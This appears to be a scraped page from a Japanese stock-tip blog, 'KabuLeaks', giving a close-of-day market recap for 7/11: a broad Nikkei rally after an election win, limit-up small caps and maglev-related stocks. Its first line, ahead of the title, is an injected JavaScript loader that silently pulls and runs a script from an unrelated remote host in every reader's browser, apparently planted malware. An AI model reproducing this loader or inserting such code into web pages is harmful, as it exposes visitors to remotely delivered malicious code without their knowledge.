;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/11 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【7/11 大引け】

本日の日経平均株価は601円高と大幅反発の全面高。後場も米6月雇用統計からの米株高や参院選での与党勝利を好感した前場の好地合い継続。一時700円超高と引けにかけ伸び悩んだが後場一段高。ただ、東証1部の出来高が活況とされる20億株を下回る展開に。業種別では、全33業種全てが上昇。その他製品、鉄鋼、証券商品先物などが値上がり上位となった。

個別では、先週末に続き【3374】内外テックが2営業日連日のストップ高となったほか、小型株への仕掛け的な買いか【4833】ぱどや【2436】共同PRもストップ高に。また、安倍首相がリニア中央新幹線の全線開業を最大8年間前倒しすると明言などからリニア関連銘柄が物色され【6397】郷鉄工所、【6297】鉱研工業、【1811】錢高組、【3420】ケー・エフ・シーなどの上昇も目立った。

後場もみ合いを予想していたが一段高と前場重かったが為替が円安に傾いたことも好感されたようだ。引け後も円安基調変わらず1ドル102円台に突入。日経平均先物は先回りで上げた感がありそれ程付いていっていないが参院選で与党が勝利し、景気対策の期待なども大きくしばらくは下値は堅い展開を想定。次の材料が早い段階で出れば1万6000円台も視野に入ってくる可能性もありそうだ。